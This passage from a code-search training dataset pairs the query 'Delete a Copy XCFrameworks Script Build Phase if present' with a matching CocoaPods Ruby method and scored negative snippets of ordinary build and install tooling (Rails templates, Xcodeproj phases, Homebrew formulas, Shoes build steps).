add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"jumpstart-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/sikandartariq1/jumpstart.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{jumpstart/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend", "def run_prepare_command\n return unless spec.prepare_command\n UI.section(' > Running prepare command', '', 1) do\n Dir.chdir(path) do\n begin\n ENV.delete('CDPATH')\n ENV['COCOAPODS_VERSION'] = Pod::VERSION\n prepare_command = spec.prepare_command.strip_heredoc.chomp\n full_command = \"\\nset -e\\n\" + prepare_command\n bash!('-c', full_command)\n ensure\n ENV.delete('COCOAPODS_VERSION')\n end\n end\n end\n end", "def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require 'tmpdir'\n source_paths.unshift(temp_dir = Dir.mktmpdir('jumpstart-'))\n at_exit { FileUtils.remove_entry(temp_dir) }\n git clone: [\n '--quiet',\n 'https://github.com/drgcms/drg-portal-jumpstart.git',\n temp_dir\n ].map(&:shellescape).join(' ')\n\n if (branch = __FILE__[%r{jumpstart/(.+)/template.rb}, 1])\n Dir.chdir(temp_dir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend", "def copy_folder_ind\n create_process(process: \"COPY_FOLDER\")\n end", "def install_pod\n %i(validate_targets generate_pods_project integrate_user_project\n perform_post_install_actions).each { |m| @installer.send(m) }\n\n deployment_target = spec.subspec_by_name(subspec_name).deployment_target(consumer.platform_name)\n configure_pod_targets(@installer.target_installation_results)\n validate_dynamic_framework_support(@installer.aggregate_targets, deployment_target)\n @installer.pods_project.save\n end", "def copy_libs\n `mkdir -p #{ @path }/assets/wwww`\n `cp framework/phonegap.jar #{ @path }/libs`\n `cp framework/res/values/strings.xml #{ @path }/res/values/strings.xml`\n `cp framework/res/layout/main.xml #{ @path }/res/layout/main.xml`\n `cp framework/res/layout/preview.xml #{ @path }/res/layout/preview.xml`\n %w(drawable-hdpi drawable-ldpi drawable-mdpi).each do |e|\n `cp framework/res/drawable/icon.png #{ @path }/res/#{ e }/icon.png`\n end \n `cp -R example #{ @path }/assets`\n `mv #{ @path }/assets/example #{ @path }/assets/www`\n end", "def build_script\n File.join(data_dir, 'build-script')\n end", "def install_app!\n return false unless File.exists?(app_bak)\n\n puts \" application: #{app_dest.inspect}\"\n # FileUtils.cp_r(app_bak, app_dest)\n # the call to `FileUtils` was not copying the application icon, so I'm using\n # a call to `system` to properly copy application directories\n system(%Q/cp -r \"#{app_bak}\" \"#{app_dest}\"/)\n end", "def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"jumpstart-\"))\n at_exit {FileUtils.remove_entry(tempdir)}\n git clone: [\n \"--quiet\",\n PROJECT_REPO,\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{jumpstart/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) {git checkout: branch}\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend", "def perform_file_copy\n\t\tretrieve_target_dir do |target_dir|\n\t\t\tFileUtils.mkdir_p target_dir\n\t\t\tcopy_depdencies_to target_dir\n\t\tend\t\n\tend", "def autorun_cmd(repo_name)\n [\"cp -Rf #{STARTDIR}/components/autogen/#{repo_name}/* .\",\n \"touch Makefile\"]\nend", "def my_post_build_step\n puts 'post-build step!'\nend", "def add_pods_to_unity \n ios_project_path = File.join(BuildPath, \"ios\", \"Unity-iPhone.xcodeproj\")\n proj = ::Xcodeproj::Project.open(ios_project_path)\n\n pods_project_path = File.join(BuildPath, \"ios\", \"Pods\", \"Pods.xcodeproj\")\n proj.new_file(pods_project_path)\n\n proj.save\n end", "def grin_wallet_post_install(installer)\n installer.pods_project.targets.each do |target|\n if target.name == 'YogaKit'\n target.build_configurations.each do |config|\n config.build_settings['SWIFT_VERSION'] = '4.1'\n end\n end\n end\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n ldflags = config.build_settings['OTHER_LDFLAGS'] || '$(inherited) '\n unless ldflags.include? 'IOKit'\n puts 'Adding -framework IOKit in OTHER_LDFLAGS...'\n ldflags << '-framework IOKit'\n end\n config.build_settings['OTHER_LDFLAGS'] = ldflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def copy_assets\n FileUtils.cp_r 'assets/.', 'output/', :preserve => true\nend", "def install\n # Define GOPATH\n ENV[\"GOPATH\"] = buildpath/\"go\"\n ENV[\"GOBIN\"] = buildpath/\"go/bin\"\n\n # Create the required directory structure\n (buildpath/\"go/bin\").mkpath\n (buildpath/\"go/pkg\").mkpath\n (buildpath/\"go/src\").mkpath\n (buildpath/\"go/src/github.com/Dids/clobber\").mkpath\n\n # Copy everything to the Go project directory (except the go/ folder)\n system \"rsync -a ./ go/src/github.com/Dids/clobber/\"\n\n # Switch to the Go project directory\n Dir.chdir 'go/src/github.com/Dids/clobber' do\n ohai \"Switched to directory: #{Dir.pwd}\"\n\n # Print out target version\n ohai \"Building version #{version}..\"\n\n # Build the application\n system \"make\", \"deps\"\n system \"make\", \"build\", \"BINARY_VERSION=#{version}\", \"BINARY_OUTPUT=#{buildpath}/clobber\"\n system \"make\", \"test\"\n\n # Print the version\n system buildpath/\"clobber\", \"--version\"\n\n # Install the application\n bin.install buildpath/\"clobber\"\n\n # Test that the version matches\n if \"clobber version #{version}\" != `#{bin}/clobber --version`.strip\n odie \"Output of 'clobber --version' did not match the current version (#{version}).\"\n end\n end\n end", "def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"jumpstarter-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/whatapalaver/jumpstarter.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{jumpstarter/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend", "def carthage_build_path(platform, framework)\n return \"#{carthage_build_dir_for_platform(platform)}/#{framework}\"\nend", "def pre_build\n puts \"pre_build dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n # remove leftovers from previous rake.\n rm_rf \"#{TGT_DIR}/lib\"\n rm_rf \"#{TGT_DIR}/etc\"\n rm_rf \"#{TGT_DIR}/share\"\n rm_rf \"#{TGT_DIR}/conf.d\"\n mkdir_p \"#{TGT_DIR}/lib\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\"\n # copy include files\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n SOLOCS.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end\n # do some windows things\n mkdir_p \"#{TGT_DIR}/share/glib-2.0/schemas\"\n if APP['GTK'] == \"gtk+-2.0\" \n cp_r\"#{TGT_SYS_DIR}/share/glib-2.0/schemas/gschema.dtd\",\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n elsif APP['GTK'] == \"gtk+-3.0\"\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n else\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n end\n sh \"#{WINDRES} -I. shoes/appwin32.rc shoes/appwin32.o\"\n cp_r \"#{ShoesDeps}/etc\", TGT_DIR\n mkdir_p \"#{ShoesDeps}/lib\"\n if APP['GTK'] == \"gtk+-3.0\"\n cp_r \"#{ShoesDeps}/lib/gtk-3.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n else\n cp_r \"#{ShoesDeps}/lib/gtk-2.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n end\n bindir = \"#{ShoesDeps}/bin\"\n #cp_r \"#{bindir}/fc-cache.exe\", TGT_DIR\n cp_r \"#{bindir}/gtk-update-icon-cache.exe\", TGT_DIR\n # below for debugging purposes\n if ENV['GDB'] \n cp \"#{bindir}/fc-cat.exe\", TGT_DIR\n cp \"#{bindir}/fc-list.exe\", TGT_DIR\n cp \"#{bindir}/fc-match.exe\", TGT_DIR\n cp \"#{bindir}/fc-pattern.exe\", TGT_DIR\n cp \"#{bindir}/fc-query.exe\", TGT_DIR\n cp \"#{bindir}/fc-scan.exe\", TGT_DIR\n cp \"#{bindir}/fc-validate.exe\", TGT_DIR\n end\n # disable MS Theme\n if !ENABLE_MS_THEME \n Dir.chdir(\"#{TGT_DIR}/share/themes/MS-Windows/gtk-2.0/\") do\n mv 'gtkrc', 'disabled-gtkrc'\n end\n else\n # add our overrides to the MS-Windows theme\n cp \"platform/msw/gtkrc\", \"#{TGT_DIR}/etc/gtk-2.0/\"\n end\n end", "def install_business_pods\n current_dir = Pathname.new __dir__\n project_dir= Pathname.new Dir.pwd\n relative = current_dir.relative_path_from project_dir\n pod 'FlutterBusiness', :path => relative\nend", "def vendorize_with_copy\n FileUtils.cp_r \"#{JSPEC_ROOT}/lib\", normalize('lib')\n end", "def install\n mkdir \"build\" do\n system \"qmake\", \"PREFIX=#{prefix}\",\n \"QMAKE_CXXFLAGS=#{ENV.cxxflags}\",\n \"CONFIG+=no_include_pwd\",\n \"..\"\n system \"make\"\n\n if OS.mac?\n prefix.install \"PC6001VX.app\"\n bin.write_exec_script \"#{prefix}/PC6001VX.app/Contents/MacOS/PC6001VX\"\n else\n bin.install \"PC6001VX\"\n end\n end\n end", "def add_template_repository_to_source_path\n if __FILE__.match? %r{\\Ahttps?://}\n require 'tmpdir'\n tempdir = Dir.mktmpdir 'jumpstart-'\n source_paths.unshift tempdir\n at_exit { FileUtils.remove_entry tempdir }\n git(clone: [\n '--quiet',\n 'https://github.com/cj/jumpstart.git',\n tempdir,\n ].map(&:shellescape).join(' '))\n\n if (branch = __FILE__[%r{jumpstart/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift File.dirname(__FILE__)\n end\nend", "def post_build_step(&block)\n\t\t\t@project.post_build_steps << [block, Dir.pwd]\n\t\tend", "def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require 'tmpdir'\n\n source_paths.unshift(tempdir = Dir.mktmpdir(DIR_NAME + '-'))\n at_exit { FileUtils.remove_entry(tempdir) }\n run(\"git clone --quiet #{GITHUB_PATH.shellescape} #{tempdir.shellescape}\")\n\n if (branch = __FILE__[%r{#{DIR_NAME}/(.+)/bridgetown.automation.rb}, 1])\n Dir.chdir(tempdir) { system(\"git checkout #{branch}\") }\n @current_dir = File.expand_path(tempdir)\n end\n else\n source_paths.unshift(DIR_NAME)\n end\nend", "def make(args)\n # Maybe we should write an \"uncrustify\" fastlane action?...\n Dir.chdir '..' do\n sh 'make ' + args\n end\nend", "def make(args)\n # Maybe we should write an \"uncrustify\" fastlane action?...\n Dir.chdir '..' do\n sh 'make ' + args\n end\nend", "def set_bitcode_generation(installer)\n Pod::UI.puts \"Enforcing bitcode generation\"\n\n installer.pods_project.targets.each do |target|\n target.build_configurations.each do |config|\n config.build_settings['BITCODE_GENERATION_MODE'] = 'bitcode'\n end\n end\n\n installer.pods_project.save\nend", "def compile\n File.chmod(0o755, start_script(root))\n augment_classpath_content\n end", "def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-template-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/RYLabs/rails-devcontainer-template.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{rails-devcontainer-template/(.+)/rails-postgres.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend", "def compile_and_copy(source_file, *args)\n config = args.last.is_a?(Hash) ? args.pop : {}\n destination = args.first\n context = instance_eval('binding')\n content = ERB.new(::File.binread(source_file)).result(context)\n open(destination, 'w') { |f| f << content }\n end", "def install\n bin.install \"testscript\"\n end", "def embed_frameworks_input_paths(framework_paths, xcframeworks)\n input_paths = framework_paths.map(&:source_path)\n # Only include dynamic xcframeworks as the input since we will not be copying static xcframework slices\n xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.each do |xcframework|\n name = xcframework.name\n input_paths << \"#{Pod::Target::BuildSettings.xcframework_intermediate_dir(xcframework)}/#{name}.framework/#{name}\"\n end\n input_paths\n end", "def pre_build\n puts \"pre_build dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n mkdir_p \"#{TGT_DIR}/lib\"\n # clean out leftovers from last build\n rm_f \"#{TGT_DIR}/libruby.so\" if File.exist? \"#{TGT_DIR}/libruby.so\"\n rm_f \"#{TGT_DIR}/libruby.so.#{rbvm}\" if File.exist? \"#{TGT_DIR}/libruby.so.#{rbvm}\"\n rm_f \"#{TGT_DIR}/libruby.so.#{rbvt}\" if File.exist? \"#{TGT_DIR}/libruby.so.#{rbvt}\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\"\n # copy and link libruby.so - pick the right one to \n cp \"#{EXT_RUBY}/lib/libruby.so.#{rbvm}\", \"#{TGT_DIR}\"\n # copy include files - it might help build gems\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n chdir TGT_DIR do\n ln_s \"libruby.so.#{rbvm}\", \"libruby.so\"\n end\n SOLOCS.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def pre_build\n puts \"pre_build dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n mkdir_p \"#{TGT_DIR}/lib\"\n # clean out leftovers from last build\n rm_f \"#{TGT_DIR}/libruby.so\" if File.exist? \"#{TGT_DIR}/libruby.so\"\n rm_f \"#{TGT_DIR}/libruby.so.#{rbvm}\" if File.exist? \"#{TGT_DIR}/libruby.so.#{rbvm}\"\n rm_f \"#{TGT_DIR}/libruby.so.#{rbvt}\" if File.exist? \"#{TGT_DIR}/libruby.so.#{rbvt}\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\"\n # copy and link libruby.so - pick the right one to \n # cp \"#{EXT_RUBY}/lib/libruby.so.#{RUBY_V}\", \"#{TGT_DIR}\"\n cp \"#{EXT_RUBY}/lib/libruby.so.#{rbvm}\", \"#{TGT_DIR}\"\n # copy include files - it might help build gems\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n # can't figure out ln -s? push pwd, cd, ln, pop\n #cdir = pwd\n #cd TGT_DIR\n chdir TGT_DIR do\n ln_s \"libruby.so.#{rbvm}\", \"libruby.so\"\n #ln_s \"libruby.so.#{RUBY_V}\", \"libruby.so.#{::RUBY_V[/^\\d+\\.\\d+/]}\"\n end\n SOLOCS.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end\n end" ]
[ "0.75888526", "0.700123", "0.6526602", "0.64533275", "0.64480674", "0.63587296", "0.6202722", "0.61730415", "0.6154149", "0.5999833", "0.59893095", "0.5960087", "0.5894985", "0.57374066", "0.5666484", "0.56215286", "0.56177515", "0.5610106", "0.55437547", "0.55349827", "0.551331", "0.5478433", "0.538376", "0.5341189", "0.5317166", "0.53135866", "0.5300319", "0.5247341", "0.5247341", "0.5246421", "0.5246421", "0.5243256", "0.52340865", "0.52262753", "0.5215806", "0.5209729", "0.51847756", "0.51746076", "0.5167922", "0.5131216", "0.5123674", "0.51110625", "0.51092607", "0.5106236", "0.5045999", "0.5044211", "0.5040636", "0.5029678", "0.5027098", "0.50205463", "0.5018756", "0.4983125", "0.4982531", "0.49810925", "0.49809587", "0.49765718", "0.49760777", "0.49732113", "0.49697468", "0.49685052", "0.49669227", "0.4950661", "0.49433777", "0.4931123", "0.4929044", "0.49166432", "0.4909916", "0.49014127", "0.48922434", "0.48910734", "0.48892698", "0.4882522", "0.48761633", "0.48721352", "0.48704207", "0.48608637", "0.48447365", "0.48441726", "0.48407617", "0.48230112", "0.48226044", "0.48215985", "0.48088953", "0.48082516", "0.48076135", "0.48056772", "0.48039305", "0.47953105", "0.47951883", "0.4794626", "0.4794626", "0.47911814", "0.4790217", "0.47890735", "0.4783913", "0.47826052", "0.4781605", "0.4779329", "0.47737756", "0.47706613" ]
0.7424395
1
Delete a 'Copy XCFrameworks' Script Build Phase if present
def remove_copy_xcframeworks_script_phase_from_target(native_target) remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_embed_frameworks_phase(project, t)\n \n t.build_phases.delete_if { |phase| \n phase.to_s == 'Embed Frameworks'\n }\n\n embed_frameworks_build_phase = project.new(\n Xcodeproj::Project::Object::PBXCopyFilesBuildPhase\n )\n\n embed_frameworks_build_phase.name = 'Embed Frameworks'\n embed_frameworks_build_phase.symbol_dst_subfolder_spec = :frameworks\n t.build_phases << embed_frameworks_build_phase\n return embed_frameworks_build_phase\nend", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def remove_copy_resources_script_phase_from_target(native_target)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def remove_duplicate_dependencies(installer)\n \n applicationTargets = [\n 'Pods-Base-Project',\n ]\n libraryTargets = [\n 'Pods-AnalyticsManager',\n ]\n\n embedded_targets = installer.aggregate_targets.select { |aggregate_target|\n libraryTargets.include? aggregate_target.name\n }\n embedded_pod_targets = embedded_targets.flat_map { |embedded_target| embedded_target.pod_targets }\n host_targets = installer.aggregate_targets.select { |aggregate_target|\n applicationTargets.include? aggregate_target.name\n }\n\n # We only want to remove pods from Application targets, not libraries\n host_targets.each do |host_target|\n host_target.xcconfigs.each do |config_name, config_file|\n host_target.pod_targets.each do |pod_target|\n if embedded_pod_targets.include? pod_target\n pod_target.specs.each do |spec|\n if spec.attributes_hash['ios'] != nil\n frameworkPaths = spec.attributes_hash['ios']['vendored_frameworks']\n else\n frameworkPaths = spec.attributes_hash['vendored_frameworks']\n end\n if frameworkPaths != nil\n frameworkNames = Array(frameworkPaths).map(&:to_s).map do |filename|\n extension = File.extname filename\n File.basename filename, extension\n end\n frameworkNames.each do |name|\n puts \"Removing #{name} from OTHER_LDFLAGS of target #{host_target.name}\"\n config_file.frameworks.delete(name)\n end\n end\n end\n end\n end\n xcconfig_path = host_target.xcconfig_path(config_name)\n config_file.save_as(xcconfig_path)\n end\n end\n\nend", "def remove_embed_frameworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, EMBED_FRAMEWORK_PHASE_NAME)\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def remove_embed_frameworks_script_phase_from_embedded_targets\n return unless target.requires_host_target?\n native_targets.each do |native_target|\n if AggregateTarget::EMBED_FRAMEWORKS_IN_HOST_TARGET_TYPES.include? native_target.symbol_type\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n end\n end", "def prebuild_frameworks! \n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n \n if local_manifest != nil\n\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed \n unchanged = changes.unchanged\n deleted = changes.deleted \n \n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n \n # additions\n missing = unchanged.select do |pod_name|\n not exsited_framework_pod_names.include?(pod_name)\n end\n\n\n root_names_to_update = (added + changed + missing)\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, self.pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{self.pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map {|t| t.recursive_dependent_targets }.flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n targets = self.pod_targets\n end\n \n # frameworks which mark binary true, should be filtered before prebuild\n prebuild_framework_pod_names = []\n podfile.target_definition_list.each do |target_definition|\n next if target_definition.prebuild_framework_pod_names.empty?\n prebuild_framework_pod_names += target_definition.prebuild_framework_pod_names\n end\n \n \n\n \n # filter local pods\n targets = targets.reject {|pod_target| sandbox.local?(pod_target.pod_name) } if not Podfile::DSL.allow_local_pod\n\n # filter dependency\n # targets = targets.select {|pod_target| prebuild_framework_pod_names.include?(pod_target.pod_name) }\n \n # build!\n Pod::UI.puts \"🚀 Prebuild files (total #{targets.count})\"\n Pod::Prebuild.remove_build_dir(sandbox_path)\n \n targets = targets.reject { |pod_target| Pod::Podfile::DSL.binary_white_list.include?(pod_target.pod_name) }\n \n # 是否值缓存 .a 文件\n only_store_lib_file = Podfile::DSL.only_store_lib_file\n \n # 是否开启md5 命名\n md5_file_name = Podfile::DSL.md5_file_name\n md5_file_name_list = []\n \n \n subspec_name_enable = true\n \n # building check ...\n targets.each do |target|\n \n target_name = target.name\n # root_name = \"#{target_name}/\"\n spec = target.root_spec\n\n# Pod::UI.puts \"🚀 000 #{target.specs.to_json} \"\n\n specs_name = get_subspec_name(target)\n# Pod::UI.puts \"🚀 666 #{specs_name} \"\n\n \n # 如果过长 采用md5 + 文件记录\n if md5_file_name\n item = get_subspec_name_md5(target_name, specs_name, spec.version)\n specs_name = item[\"specs_name\"]\n# Pod::UI.puts \"🚀 333 #{specs_name} \"\n md5_file_name_list.push(item)\n end\n \n# specs_name = spec.name\n# Pod::UI.puts \"🚀 666 #{target.to_json} \"\n \n UI.section \"🍭 Prebuild Ready to build #{target_name} [#{target.label}]\".blue do\n if !target.should_build?\n Pod::UI.puts \"🏇 Skipping #{target.label}\"\n next\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target_name)\n output_path.mkpath unless output_path.exist?\n \n need_pull = Podfile::DSL.binary_cache\n need_push = false\n need_build = false\n\n generate_path = sandbox.generate_framework_path.to_s\n rsync_server_url = Podfile::DSL.rsync_server_url\n \n loop do\n if not need_pull\n need_build = true\n break\n end\n \n if sandbox.local?target_name and not Podfile::DSL.local_binary_cache\n need_build = true\n break\n end\n \n exist_remote_framework = Pod::PrebuildFetch.fetch_remote_framework_for_target(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n if not exist_remote_framework\n Pod::UI.puts \"💦 Non exist remote cache, #{target_name}\".blue\n \n need_build = true\n need_push = true\n break\n end\n \n Pod::UI.puts \"🎁 Exist remote cache, #{target_name}\".green\n\n break\n end\n\n if need_build\n Pod::Prebuild.build(sandbox_path, target, output_path, bitcode_enabled, Podfile::DSL.custom_build_options, Podfile::DSL.custom_build_options_simulator)\n end\n \n if need_push\n Podfile::DSL.builded_list.push(target_name)\n\n \n if only_store_lib_file\n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n else\n store_pack = {}\n store_pack[\"spec_name\"] = spec.name\n store_pack[\"specs_name\"] = specs_name\n store_pack[\"spec_version\"] = \"#{spec.version}\"\n 